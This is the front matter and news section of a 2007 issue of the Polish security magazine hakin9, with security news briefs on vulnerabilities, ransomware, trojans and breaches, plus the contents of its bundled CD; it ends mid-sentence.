4
www.hakin9.org
hakin9 Nr 10/2007
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
W skrócie
6
Mateusz Stępień
Przedstawiamy garść najciekawszych wiadomości
ze świata bezpieczeństwa systemów informatycz-
nych i nie tylko.
Zawartość CD
10
Prezentujemy zawartość i sposób działania najnowszej
wersji naszej sztandarowej dystrybucji hakin9.live
Narzędzia
Recenzja MindMap 5 Professional
12
Recenzja Directory Opus 9
13
Początki
Ataki SQL Injection w praktyce
14
Dawid Gołuński
Dawid w swoim artykule mówi na czym polegają ataki
SQL Injection oraz jakie niosą zagrożenia. Pokaże
krok po kroku techniki używane podczas ataku oraz
metody obrony.
Atak
Luki w VoIP
26
Tomasz Piotrowski, Szczepan Wójcik, Mikołaj Wiśniewski, Woj-
ciech Mazurczyk
Autorzy przedstawią w jaki sposób zabezpieczyć
systemy VoIP, na co zwracać uwagę przy kupowa-
niu i wdrażaniu tych systemów oraz jakie luki bezpie-
czeństwa znajdują się w systemie Asterisk.
Atak hakera na Twój komputer
36
Bartosz Kalinowski
Bartek w swoim artykule scharakteryzuje system,
w którym można dostrzec obecność intruza i jakie
zostawia po sobie ślady.
Łamanie klucza rejestracji
Windows XP
48
Rafał Podsiadły
Rafał opisał w swoim artykule jak zaczyna życie naj-
popularniejszy system operacyjny.
Witam!
Terminy haker, cracker kojarzą się zwykłym ludziom raczej
z pojęciem cyberprzestępcy, jednak bardziej wtajemniczeni
wiedzą, że te dwa typy różnią się od siebie.
Jak zapewne Państwo wiedzą, hakerzy to osoby, które
szukają luk w oprogramowaniu komputerowym, a później
wykorzystują taką wiedzę, aby uzyskać dostęp do zabezpie-
czonych zasobów. Natomiast cracker to osoba zajmująca się
łamaniem zabezpieczeń komputerowych. Hakerzy, skupie-
ni w społeczności hakerskiej, używają terminu cracker dla
odróżnienia się od przestępców; z kolei crackerzy terminu
haker używają na określenie włamywaczy sieciowych.
Obie wspomniane grupy ludzi działają z różnych pobu-
dek. Jedni włamują się do serwisów komputerowych, aby
wykryć luki, a potem szantażują właścicieli portali. A drudzy
pracują teraz dla firm takich jak TrendMicro i pomagają im
stworzyć szczepionki przeciwko nowym zagrożeniom, jakie
stawia przed nami Sieć. Motywem działań hakerów i cracke-
rów jest także chęć pozyskania rozgłosu i wywołania ogól-
nego chaosu.
Istnieje swoisty podział hakerów pod względem etyki:
black hat (hakerzy działający na pograniczu lub poza
granicami prawa), white hat (hakerzy działający w imię
prawa, nie chcący popełnić szkód), grey hat (grupa znaj-
dująca się pomiędzy dwiema omawianymi wyżej katego-
riami).
My, jako Redakcja, mamy do czynienia ze wszystki-
mi omawianymi grupami hakerów, jednak cenimy tych z
grupy white hat. Nasi Czytelnicy bardzo dobrze zdają
sobie z tego sprawę. Mieliśmy wiele ciekawych artyku-
łów poświęconych wykrywaniu luk w takich portalach,
jak Allegro, Onet czy mBank. Umieszczaliśmy je w celu
tylko i wyłącznie informacyjnym, aby uczulić omawia-
ne serwisy na opisane zagrożenia. Mam nadzieję, że
zamieszczane przez nas artykuły pomogły już niejedne-
mu Czytelnikowi, dlatego chciałam gorąco polecić arty-
kuł Bartosza Kalinowskiego Obroń swój komputer przed
hakerem!!! Bartek w swoim tekście pokazuje przeróżne
zachowania systemu świadczące o obecności hakera.
Godnym przeczytania artykułem jest pozycja kilku auto-
rów pt. Luki w Voip.
W październikowym hakin9 przedstawiamy wywiad z
bardzo interesującym człowiekiem, jakim jest komisarz
Zbigniew Urbański. Z rozmowy nasi Czytelnicy dowie-
dzą się co nieco o samym bohaterze, a także o pirac-
twie komputerowym widzianym okiem policjanta i orga-
nów ścigania.
W numerze, który mają Państwo w rękach, jak zwykle
nie zabraknie wielu ciekawych programów, na CD znajdują
się m. in. G DATA Antivirus, F-Secure Internet Security oraz
dwa nowe tutoriale.
Życzę przyjemnej lektury!
Katarzyna Juszczyńska
4
www.hakin9.org
hakin9 Nr 10/2007
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
Obrona
Opera – mechanizmy ochrony
przed oszustwami
56
Marcin Kopeć
Marcin w swoim tekście przedstawia w jaki sposób
działa mechanizm ochrony przed oszustwami zaim-
plementowanymi w przeglądarce internetowej Opera.
Konfiguracja serwera ISS dla
ASP.NET z protokołem SSL
62
Sławomir Orłowski, Jacek Matulewski
Sławek i Jacek przybliżą Czytelnikom temat konfigu-
racji serwera ISS do obsługi stron ASP.NET z uwie-
rzytelnieniem SSL.
Bezpieczna firma
Audyt systemów informatycznych
68
Wojciech Malec
Wojtek postara się wyjaśnić termin audytu informa-
tycznego oraz przedstawi najważniejsze organizacje
zawodowe właściwe dla audytu informatycznego.
Księgozbiór
72
Recenzujemy książki: Kryptografia w Javie. Od pod-
staw oraz Apache. Zabezpieczenia aplikacji i serwe-
rów WWW.
Wywiad
Wywiad z komisarzem Zbigniewem
Urbańskim
74
Katarzyna Juszczyńska, Robert Gontarski
Komisarz Zbigniew Urbański ekspert do spraw prze-
stępczości komputerowej.
Klub Techniczny
Trend Micro dla MSP
77
Felieton
Druga strona medalu
78
Patryk Krawaczyński
Zapowiedzi
82
Zapowiedzi artykułów, które znajdą się w następnym
wydaniu naszego pisma.
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: Sylwia Pogroszewska
Redaktor naczelna: Martyna Żaczek
martyna.zaczek@software.com.pl
Redaktorzy prowadzący: Katarzyna Juszczyńska
katarzyna.juszczynska@software.com.pl
Robert Gontarski
robert.gontarski@software.com.pl
Wyróżnieni betatesterzy: Przemysław Prytek, Paweł Lisowski
Opracowanie CD: Rafał Kwaśny
Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
Skład i łamanie: Artur Wieczorek arturw@software.com.pl
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 887 13 45, Fax +48 22 887 10 11
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych
pism prosimy o kontakt:
Monika Nowicka
e-mail: monika.nowicka@software.com.pl
tel.: +48 (22) 887 12 66
fax: +48 (22) 887 10 11
Druk: 101 Studio, Firma Tęgi
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na
towarzyszących mu nośnikach informacje i programy były poprawne,
jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;
nie gwarantuje także poprawnego działania programów shareware,
freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich
firm i zostały użyte wyłącznie w celach informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit
firmy G DATA Software Sp. z o.o.
Redakcja używa systemu automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej
niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem
na jego szkodę i skutkuje odpowiedzialnością sądową.
hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,
Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-
czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową w innych krajach europej-
skich.
Magazyn hakin9 wydawany jest w 7 wersjach językowych:
PL
ES
CZ EN
IT FR DE
Nakład wersji polskiej 6 000 egz.
UWAGA!
Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.
W skrócie
hakin9 Nr 10/2007
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 10/2007
Błąd w Xvid 1.1.2
W popularnym zestawie kode-
ków wideo Xvid 1.1.2 wykryto lukę,
która umożliwia atakującemu cał-
kowite przejęcie kontroli nad ata-
kowanym komputerem. Gdy użyt-
kownik komputera uruchomi odpo-
wiednio spreparowany plik .AVI
dochodzi do ataku za pomocą apli-
kacji, która odwołuje się do progra-
mu Xvid. Błąd występuje w pliku
mbcoding.c w funkcjach get_intra_
block, get_inter_block_h263 oraz
get_inter_block_mpeg. Podat-
ne są na niego zarówno aplikacje
dla systemu Windows, jak i Linux.
Xvid to kodek obrazu zgodny z ISO
MPEG-4, wydany na licencji GNU
GPL. Jego nazwa jest celowym
anagramem nazwy kodeka DivX,
który jest zamkniętą implementacją
tego samego standardu.
Haker odcina dostęp
do kont emailowych
na UK2.net...
Domena internetowa UK2.net stała
się celem ataku hakera, pozo-
stawiając tym samym internau-
tów czasowo odciętych od dostę-
pu do emaili. Internauci pojawia-
jący się na stronie 12 lipca ujrzeli
przeobrażoną witrynę. Najwidocz-
niej była to sprawka islamskiego
hakera. Wiele osób zwróciło się do
nas w tej sprawie z informacjami,
że nie są w stanie wejść na swoje
konta – mówią pracownicy portalu.
Doświadczenia czytelnika Andy’e-
go są typowe: UK2 była (dla mnie)
nieosiągalna od godziny 6:00 tego
ranka, gdy nie działał email przez
POP3. Próbowałem jeszcze raz o
12 w południe za pomocą POP3 i
strony internetowej, ale bez rezul-
tatu, oba nie działały – jedyne co
mogły mi zaoferować to zmienio-
ną stronkę. Wcześniej też miałem
dużo problemów z UK2. Moje
konta były niestabilne przez 3 tygo-
dnie pod koniec maja i na począt-
ku czerwca. Czasami działało, ale
zazwyczaj odmawiało posłuszeń-
stwa. Firma oficjalnie ogłosiła, że w
godzinach porannych we czwartek
stała się ofiarą ataku hakerskiego.
Atak uniemożliwił internautom wej-
ście na stronę UK2 i na skrzynkę
emailową. UK.net na swoich stro-
nach napisał, że ta kwestia została
już rozwiązana przez specjalistów.
Pomimo tego, jak dodali, niektórzy
użytkownicy mogli mieć problemy z
dostępem do serwisu, dopóki DNS
nie naniesie zmian.
Kaspersky Anti-Virus na liście 100
najlepszych produktów IT 2007
K
aspersky Lab, producent roz-
wiązań służących do ochro-
ny danych, informuje o otrzyma-
niu wyjątkowego wyróżnienia: pro-
gram Kaspersky Anti-Virus 6.0
znalazł się na liście 100 najlep-
szych produktów IT 2007 opubliko-
wanej przez PC World. Amerykań-
ski magazyn PC World kolejny raz
już w okresie wakacyjnym opubli-
kował listę 100 najlepszych, najno-
wocześniejszych oraz najbardziej
docenionych przez konsumen-
tów produktów z branży informa-
tycznej i internetowej. Zestawienie
obejmuje wiele różnorodnych pro-
duktów (sprzęt, oprogramowanie,
serwisy oraz usługi internetowe).
Na 55 miejscu listy, jako jedyny
komercyjny program antywirusowy
uwzględniony w zestawieniu, zna-
lazł się Kaspersky Anti-Virus. Pełna
lista dostępna jest pod adresem:
http://www.pcworld.com/article/
id,131935 -page,13 /ar ticle.html
Kaspersky Anti-Virus to program
antywirusowy firmy Kaspersky
Lab, zapewniający ochronę przed
zagrożeniami płynącymi z sieci
Internet (wirusy, robaki, konie tro-
jańskie, adware, spyware). Kasper-
sky Anti-Virus współpracuje z sys-
temami Windows 98/Me/XP, NT
Workstation oraz Windows 2000
Professional.
Fake stron Apple
S
pecjaliści z Sunbelt odkryli
nowego trojana, który próbu-
je wyciągać pieniądze od użytkow-
ników poprzez fikcyjną sprzedaż
najnowszego dziecka koncernu
Apple, iPhone. Eksperci z Sunbelt
twierdzą, że trojan mógł powstać
na
zamówienie
przestępców,
a w dodatku jest słabo wykrywal-
ny przez aplikacje antywirusowe.
Podczas odwiedzin google.com lub
yahoo.com wirus pokazuje na ekra-
nie okienka popup, które zawiera-
ją między innymi informację: sup-
ported by Google oraz supported
by Yahoo. Kliknięcie w reklamę w
zainfekowanym systemie kończy
się przekierowaniem na specjalnie
przygotowaną wersję strony, gdzie
internauta może wypełnić formu-
larz zamówienia i dokonać prze-
lewu gdzieś do banku na Łotwie
zamiast na konta Apple. iPhone
to urządzenie posiadające funk-
cje telefonu komórkowego, odtwa-
rzacza MP3 (iPod) i komunikatora
internetowego, jak nazwała tę funk-
cję Apple Inc. Nowatorskim rozwią-
zaniem w urządzeniu była rezy-
gnacja z jakiejkolwiek klawiatu-
ry – zamiast tego iPhone posiada
ekran dotykowy, przy którym użyto
technologię o nazwie Multi-Touch:
zamiast korzystać z rysika, wszyst-
ko wciska się jednym lub kilko-
ma palcami dłoni. iPhone działa
na zoptymalizowanej wersji Mac
OS X. System zajmuje około 700
MB. Bateria w iPhonie nie powin-
na być wymieniana przez użyt-
kownika. Według producenta, czas
pracy baterii to: do 24 godzin słu-
chania muzyki, do 8 godzin rozmo-
wy, do 7 godzin oglądania filmów,
do 6 godzin przeglądania Interne-
tu, bądź do 250 godzin czuwania,
jednak czas ten zależy od różnych
ustawień.
W skrócie
hakin9 Nr 10/2007
www.hakin9.org
6
Mateusz Stępień
www.hakin9.org
7
hakin9 Nr 10/2007
iPhone częściowo złamany
Jon Lech Johansen, czyli sławny
DVD Jon, złamał część zabez-
pieczeń nowego iPhone’a. Ujaw-
nił sposób aktywacji nowego tele-
fonu firmy Apple bez potrzeby wią-
zania się umową z jedynym w Sta-
nach Zjednoczonych autoryzowa-
nym dostawcą – AT&T. Jon napi-
sał specjalny program, który imituje
zachowanie serwera odpowiadają-
cego za aktywację urządzeń przez
firmę Apple. Kompletną instrukcję
przeprowadzenia procesu aktywa-
cji i kod źródłowy programu zastę-
pującego serwer aktywujący tele-
fony można znaleźć w blogu DVD
Jona. Jon Lech Johansen jest nor-
weskim programistą zaangażo-
wanym w rozkodowywanie syste-
mów zabezpieczeń. Jego ojciec
jest Norwegiem, a matka – Polką.
Uczestniczył w stworzeniu progra-
mu deszyfrującego zakodowane
filmy DVD – DeCSS. Jon stworzył
także zestaw otwartych sterow-
ników do odtwarzacza MP3 Jaz-
Piper (OpenJaz, 2001) i program
QTFairUse do odczytywania zako-
dowanych strumieni AAC (2003).
W 2004 r. dołączył do zespołu pro-
gramistów VideoLAN, dla które-
go opracował wtyczkę do odtwa-
rzania mediów zabezpieczonych
systemem FairPlay oraz sposób
odtwarzania materiałów zakodowa-
nych w WMV9. Zdołał też ominąć
zabezpieczenia protokołu AirPort
Express firmy Apple i algorytmu
ochrony plików NSC z Windows
Media Playera.
Początek ery
petaflopsowych komputerów
E
lektroniczny gigant IBM zapre-
zentował najszybszy komputer
świata – Blue Gene/P. który jest
sto tysięcy razy szybszy niż prze-
ciętny komputer biurowy. Pręd-
kość superkomputera to mniej
więcej jeden petaflop (1 petaflop
= 1,000 teraflopów = 1,000,000
gigaflopów), czyli tysiąc bilionów
operacji na sekundę. Taką spraw-
ność zapewnia 294.912 rdzeni pro-
cesora IBM PowerPC 450, z któ-
rych każdy jest taktowany zegarem
o częstotliwości 850 MHz. Cztery
rdzenie tworzą jeden procesor.
System operacyjny superkompute-
ra bazuje na Linuksie, a aplikacje
można tworzyć w standardowych
językach programowania, takich
jak Fortran, C czy C++. Za pierw-
szy superkomputer uznaje się CDC
6600, który powstał w 1963 roku
według projektu i pod ścisłym nad-
zorem Seymoura Craya. Maszyna
wykonywała 3 miliony operacji na
sekundę. Był to pierwszy kompu-
ter, w którym zastosowano tranzy-
story krzemowe oraz nowatorską
technikę chłodzenia podzespołów
freonem. Najpotężniejszą maszy-
ną w Polsce jest klaster HOLK.
Komputer, znajdujący się w Cen-
trum Informatycznym Trójmiejskiej
Akademickiej Sieci Komputerowej,
został zbudowany w 2003 roku
i wówczas znajdował się na 231
pozycji TOP500. Maszyna zarzą-
dzana przez system GNU/Linux
(dystrybucja Debian), której teore-
tyczna moc obliczeniowa sięga 1.5
TFLOPS, jest wykorzystywana do
obliczeń naukowych.
Wirus – szantażysta
S
pecjaliści z Kaspersky Lab
wykryli nową odmianę wirusa
Gpcode, który szyfruje pliki na dys-
kach ofiar i żąda okupu w wysoko-
ści 300 dolarów za przywrócenie
do nich dostępu. Robak Virus.Wi-
n32.Gpcode do szyfrowania plików
wykorzystuje złożony algorytm infor-
mując że jest to RSA-4096, co nie
jest prawdą, bo jak ustalili eksper-
ci z Kaspersky Lab jest to algorytm
RC4. Autorami wirusa najprawdopo-
dobniej są Rosjanie. Na zaatakowa-
nym komputerze wirus umieszcza
również plik o nazwie read_me.txt,
w którym umieszczona jest taka oto
informacja:
Hello, your files are encrypted
with RSA-4096 algorithm (http://
en.wikipedia.org/wiki/RSA). You will
need at least few years to decrypt
these files without our software. All
your private information for last 3
months were collected and sent to
us. To decrypt your files you need
to buy our software. The price is
$300. To buy our software please
contact us at: xxxxxxx@xxxxx.com
and provide us your personal code
-xxxxxxxxx. After successful purcha-
se we will send your decrypting tool,
and your private information will be
deleted from our system. If you will
not contact us until 07/15/2007 your
private information will be shared
and you will lost all your data. Gla-
morous team.
Witaj, twoje pliki zostały zaszy-
frowane przy użyciu algorytmu
RSA-4096 (http://en.wikipedia.org/
wiki/RSA). Bez naszego oprogra-
mowania odszyfrowanie tych plików
zajmie ci przynajmniej kilka lat. Od
trzech miesięcy twoje poufne infor-
macje były gromadzone i wysyłane
do nas. Aby odszyfrować swoje dane,
musisz kupić nasze oprogramowa-
nie. Jego cena to $300. W celu doko-
nania zakupu skontaktuj się z nami
pod adresem xxxxxxx@xxxxx.com i
załącz swój osobisty kod - xxxxxxxxx.
Po dokonaniu zakupu, prześlemy
ci narzędzie deszyfrujące a twoje
poufne informacje zostaną skaso-
wane z naszego systemu. Jeżeli nie
skontaktujesz się z nami do 15 lipca
2007 twoje poufne informacje zosta-
ną udostępnione w Internecie. Gla-
morous team.
W skrócie
hakin9 Nr 10/2007
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 10/2007
IE7 podatny na spoofing
Firma Secunia poinformowała o
wykrytej przez Michała Zalew-
skiego luce w przeglądarce
Microsoftu – Internet Exlporer 7.
Błąd występuje w metodzie docu-
ment.open() i pozwala na sfał-
szowanie źródłowego adresu IP
nawet w przypadku, gdy ręcz-
nie wpiszemy adres nowej strony.
(tzw. spoofing) Michał Zalew-
ski, stwierdził: lukę można wyko-
rzystać tylko wówczas, gdy jest
uruchomiony JavaScript. Do tej
pory Microsoft nie przygotował
łatki na ten błąd, ewentualne-
go występowania luki nie spraw-
dzano w przeglądarce Inter-
net Explorer 6. Internet Explo-
rer w wersji Windows, rozwijany
jest na bazie kodu Mosaic zaku-
pionego od firmy Spyglass. Pro-
gram został oficjalnie zaprezento-
wany 23 sierpnia 1995 roku. Naj-
ważniejsze nowości w wersji IE
7: przeglądanie stron w kartach,
narzędzia wykorzystujące RSS i
Atom, obsługa przezroczystych
grafik PNG, ulepszona architek-
tura, mająca lepiej chronić przed
wirusami i robakami.
Włamanie na brytyjski
serwis firmy Microsoft
Wykryto podatność na atak typu
SQL Injection na brytyjskiej stro-
nie Microsoftu. Dziura umożliwia-
ła m. in. wyciągnięcie listy użyt-
kowników i ich zakodowanych
haseł, a także modyfikowanie
tabel. Podatność na atak wykry-
to na stronie przeznaczonej dla
partnerów. Haker z Arabii Sau-
dyjskiej ukrywający się pod pseu-
donimem rEmOtEr umieścił w
Internecie nagranie z włamania,
które niestety jest już niedostęp-
ne. Po bardziej wnikliwej analizie
wykazano, że serwis jest również
podatny na atak typu Cross Site
Scripting.
Atak typu SQL Injection polega
na takiej manipulacji aplikacją
komunikującą się z bazą danych,
aby ta umożliwiła atakującemu
uzyskanie dostępu lub modyfika-
cję danych, do których nie posia-
da on uprawnień. W praktyce
polega to na wykorzystaniu inter-
fejsu użytkownika (adresu URL,
formularza HTML/XML, okna dia-
logowego itp.) do wprowadzenia
do aplikacji spreparowanego ciągu
znaków.
Gadający koń trojański
W
Sieci odkryto nowego nie-
zwykle groźnego i złośliwego
konia trojańskiego o nazwie BotVo-
ice.A. Szkodnik jest o tyle nietypo-
wy, że po przeniknięciu do syste-
mu niszczy dane znajdujące się na
dysku twardym i informuje werbalnie
użytkownika o szkodach, które spo-
wodował (wykorzystując w tym celu
wbudowany do Windows syntezator
mowy): Zostałeś zarażony. Powta-
rzam, zostałeś zarażony, a twoje
pliki systemowe zostały skasowane.
Przykro mi. Miłego dnia i do widzenia.
(You have been infected I repeat you
have been infected and your system
files have been deleted. Sorry. Have
a nice day and bye bye). BotVoice.A
potrafi m. in. zablokować dostęp do
plików BAT, COM, EXE, MP3 oraz
do Menedżera Zadań i Edytora Reje-
stru. Szkodliwy kod atakuje systemy
Windows 95 i nowsze. Nie zagra-
ża natomiast Windows Vista. Trojan
nie potrafi samodzielnie zainfekować
komputera, konieczna jest interak-
cja ze strony użytkownika. Rozprze-
strzenia się głównie za pośrednic-
twem wymiennych nośników danych
lub sieci komputerowych. BotVo-
ice.A wykryty został przez specjali-
stów z firmy Panda Software. BotVo-
ice.A został stworzony tylko po to, by
niszczyć – od lat nie widziałem tak
doskonałego przykładu bezmyślne-
go wandalizmu – komentuje Roger
Thompson, specjalista z firmy Explo-
it Prevention Labs.
Kolejnych 7 polskich studentów
na praktykach w Redmond
M
icrosoft poinformował, że
siedmiu studentów z polskich
uczelni technicznych będzie repre-
zentować nasz kraj podczas tego-
rocznej edycji praktyk, które co
roku odbywają się w centrali firmy
Microsoft Corporation w Redmond.
Do tegorocznej edycji EMEA
Internship Program polskie uczel-
nie zgłosiły 129 kandydatów, z któ-
rych wybrano siedmiu uczestników.
Jeden z nich weźmie udział w pro-
gramie po raz drugi. Rozmowy z
kandydatami po raz kolejny odbyły
się w Warszawie. Jest to rezultat
wysokiego poziomu reprezentowa-
nego przez studentów pochodzą-
cych z Polski, a co za tym idzie,
dużej liczby potencjalnych prak-
tykantów. Praktyki prowadzone
przez Microsoft w centrali w Red-
mond pozwalają studentom na
udział w rzeczywistych projektach
prowadzonych w korporacji, często
kluczowych dla firmy oraz ważnych
dla branży IT. Udział w progra-
mie to dla większości uczestników
także pierwszy krok do zdobycia
zatrudnienia w firmie Microsoft. Po
zakończeniu stażu studenci mają
rok na skończenie studiów oraz
powrót do Redmond. Do tegorocz-
nej edycji EMEA Internship Pro-
gram zakwalifikowali się z Polski:
Sylwia Kopczyńska, Piotr Kułaga,
Łukasz Tomczyk, Paweł Baszuro,
Piotr Findeisen, Mike Kaczmarczyk
oraz Szymon Wasik z Politechni-
ki Poznańskiej, Wyższej Szkoły
Informatyki Stosowanej i Zarzą-
dzania w Warszawie, Politechniki
Częstochowskiej, Wyższej Infor-
matycznej Szkoły Zawodowej w
Gorzowie Wielkopolskim oraz Uni-
wersytetu Warszawskiego. „Udział
w programie EMEA Internship
Microsoftu jest dla mnie dosko-
nałą okazją do zdobycia doświad-
czenia w międzynarodowej korpo-
racji. Wyjazd ten pozwoli mi zoba-
czyć, jak wygląda praca w zespole
zajmującym się dużymi projektami
informatycznymi, a w przyszłości
– mam nadzieję – ułatwi mi rów-
nież zdobycie ciekawego i pełne-
go wyzwań zatrudnienia. Jestem
przekonany, że pobyt w kampu-
sie Microsoft w Redmond będzie
jednocześnie okazją do dobrej
zabawy i poznania ciekawych ludzi
z całego świata – powiedział Piotr
Kułaga, student Wyższej Szkoły
Informatyki Stosowanej i Zarzą-
dzania w Warszawie.
W skrócie
hakin9 Nr 10/2007
www.hakin9.org
8
Mateusz Stępień
www.hakin9.org
9
hakin9 Nr 10/2007
Ruszyła internetowa
aukcja exploitów
Jedna z firm szwajcarskich urucho-
miła stronę aukcyjną, na której wysta-
wiane na sprzedaż będą informacje
o nowych lukach w oprogramowa-
niu. Witryna nosi nazwę WabiSabiLa-
bi i jej głównym celem jest nakłonie-
nie specjalistów, którzy znaleźli luki,
by sprzedawali je firmom zaintereso-
wanym w ich załataniu, a nie cyber-
przestępcom. Zdecydowaliśmy się na
uruchomienie serwisu umożliwiające-
go sprzedawanie wyników badań nad
bezpieczeństwem, ponieważ wielu
specjalistów odkrywa luki, ale niewie-
lu z nich informuje o tym odpowied-
nich ludzi. Naszym celem jest umoż-
liwienie im uzyskania uczciwej ceny
za pracę i jednoczesne zapewnie-
nie, że nie będą musieli oddawać jej
wyników za darmo ani sprzedawać
cyberprzestępcom – mówi Herman
Zampariolo, szef firmy. Pomysł szwaj-
carskiej firmy ma zarówno zwolen-
ników, jak i przeciwników. Do kryty-
kantów należy Gunter Ollman, dyrek-
tor IBM Internet Security Systems:
To przypomina witryny, które istnie-
ją na czarnym rynku. Będziemy mieli
do czynienia z tymi samymi ludźmi,
którzy szukają dziur, by je sprze-
dać. To dla nich po prostu dodatkowy
kanał dystrybucji. Korzystanie z serwi-
su będzie darmowe przez sześć mie-
sięcy, potem będą pobierane opłaty w
wysokości 10% kwoty sprzedaży.
Nowa odmiana
virusa Gpcode
W Sieci pojawiła się nowa odmia-
na wirusa Gpcode, która to po zara-
żeniu komputera użytkownika szyfru-
je pliki na dyskach. Wirus za odszyfro-
wanie domaga się zapłaty 300 dola-
rów i informuje, że używa algorytmu
szyfrującego RSA-4096, co nie jest
prawdą. Na dysku pojawia się także
plik tekstowy read_me.txt w którym
możemy przeczytać Hello, your files
are encrypted with RSA-4096 algori-
thm (http://en.wikipedia.org/wiki/RSA).
You will need at least few years to
decrypt these files without our softwa-
re. All your private information for last 3
months were collected and sent to us.
To decrypt your files you need to buy
our software. The price is $300 (...)
Specjaliści z firmy Kaspersky po ana-
lizach doszli do tego, że wykorzysty-
wany jest tu algorytm RC4. Najnow-
sze oprogramowanie firmy Kasper-
sky już radzi sobie z wirusem i odszy-
frowuje pliki. Najprawdopodobniej
autorami wirusa są Rosjanie.
Dziurawy Adobe Flash Player
i Photoshop
P
roducent oprogramowania mul-
timedialnego, firma Adobe Sys-
tems wydała poprawki dla swoich
aplikacji: Flash Playera i Photosho-
pa (CS2/CS3). Poprawki te napra-
wiają usterki bezpieczeństwa, któ-
rych potencjalny intruz może użyć
do wykonania dowolnego kodu. W
Adobe Flash Player wykryto luki,
które m. in. umożliwiają napastni-
kowi zdalne przejęcie pełnej kontro-
li nad systemem. Podatności wystę-
pują w aplikacjach: Adobe Flash
Player w wersji 9.0.45.0 i wcze-
śniejszych, Adobe Flash Player
w wersji 8.0.34.0 i wcześniej-
szych, Adobe Flash Player w wersji
7.0.69.0 i wcześniejszych. Zaktu-
alizowana wersja Flash Playera
9.0.47.0 jest dostępna (podobnie
jak łatki dla wcześniejszych wydań
odtwarzacza) pod adresem: http://
www.adobe.com/go/getflashplayer.
W oprogramowaniu Photoshop
CS2 i CS3 wykryto błąd, który
pozwala na wstrzyknięcie i uru-
chomienie dowolnego kodu. Istotą
tego błędu jest niepoprawne prze-
twarzanie plików zapisanych w for-
matach PNG, DIB, RLE i BMP. Błąd
w Photoshopie wykrył specjalista
ukrywający się pod pseudonimem
Marsu. Adobe Systems to amery-
kańska firma z siedzibą w San José
w Kalifornii, znana z projektowania
szeroko rozumianego oprogramo-
wania graficznego dla systemów
Mac OS i Windows. Przedsiębior-
stwo założyli w 1982 r. byli pracow-
nicy Xerox PARC, John Warnock i
Charles Geschke. Najważniejsze
produkty firmy to: Adobe Acrobat,
Adobe After Effects, Adobe Illustra-
tor, Adobe InDesign, Adobe Pho-
toshop, Adobe Premiere, Adobe
Reader.
Atak na Pentagon
H
akerzy przeprowadzili skutecz-
ny atak na systemy komputero-
we amerykańskiego ministerstwa
obrony. Pentagon został zmuszony
do wyłączenia części swojego sys-
temu pocztowego, przez co prawie
półtora tysiąca pracowników straci-
ło dostęp do swoich kont e-mailo-
wych. Zdecydowaliśmy się na wyłą-
czenie części systemu pocztowego
OSD w związku z wykryciem wła-
mania do naszej infrastruktury. Nasi
specjaliści wykonali wszelkie nie-
zbędne działania dotyczące zabez-
pieczenia systemu oraz śladów
włamania – spodziewam się, że
wszystkie systemy wrócą online
już wkrótce – mówił na konferen-
cji prasowej Robert Gates, rzecz-
nik prasowy Pentagonu. Przedsta-
wiciele Departamentu Obrony nie
ujawnili żadnych innych informacji
na temat włamania – potwierdzili
jedynie: Atak ten nie miał właściwie
żadnego wpływu na nasze działa-
nia – napastnik nie uzyskał dostę-
pu do żadnych tajnych informacji.
Nasza infrastruktura informatyczna
jest wciąż atakowana, mamy więc
doświadczenie w postępowaniu w
takich sytuacjach.
hakin9.live
hakin9 Nr 10/2007
www.hakin9.org
10
N
a dołączonej do pisma płycie znajduje się haki-
n9.live (h9l) w wersji 4.0.2 on BackTrack2.0, za-
wierająca przydatne narzędzia, dokumentację,
tutoriale i materiały dodatkowe do artykłów. Aby zacząć
pracę z hakin9.live, wystarczy uruchomić komputer z CD.
Po uruchomieniu systemu możemy zalogować sie jako
użytkownik hakin9 bez podawania hasła.
Materiały dodatkowe
• Tutorial podstawy języka Python,
• Tutorial wstęp do free Pascal.
Programy:
• G DATA AntiVirus 2007,
• F-secure Internet Security 2007,
• AVG Anty-Rootkit,
• AVG Antywirus 7.5,
• CureIT.
G DATA AntiVirus 2007
Aktywacja od 5 października. G DATA AntiVirus 2007
umacnia wiodącą pozycję w czołówce programów anty-
wirusowych w dziedzinie wykrywalności wirusów. Dzię-
ki zoptymalizowanej technologii podwójnego skanowania
połączonej z mechanizmem OutbreakShield, nowy anty-
wirus wykrywa wirusy jeszcze dokładniej i szybciej, zu-
żywając jednocześnie znacznie mniej zasobów systemo-
wych. G DATA AntiVirus 2007 usuwa złośliwe oprogramo-
wanie typu spyware, adware, riskware, a także wirusy, tro-
jany, robaki. Gwarantuje jeszcze skuteczniejszą ochronę
przed hakerami.
Program przeznaczony dla użytkowników wymagają-
cych, potrzebujących prostej i szybkiej ochrony kompu-
tera. Dzięki zastosowaniu dwóch silników skanujących
oraz trzech skanerów poczty Twoje dane są w 100%
bezpieczne. To jednak początek długiej listy zalet, doce-
nianych przez specjalistów na całym świecie.
F-secure Internet Security 2007
Zestaw zabezpieczeń przeznaczony dla użytkowni-
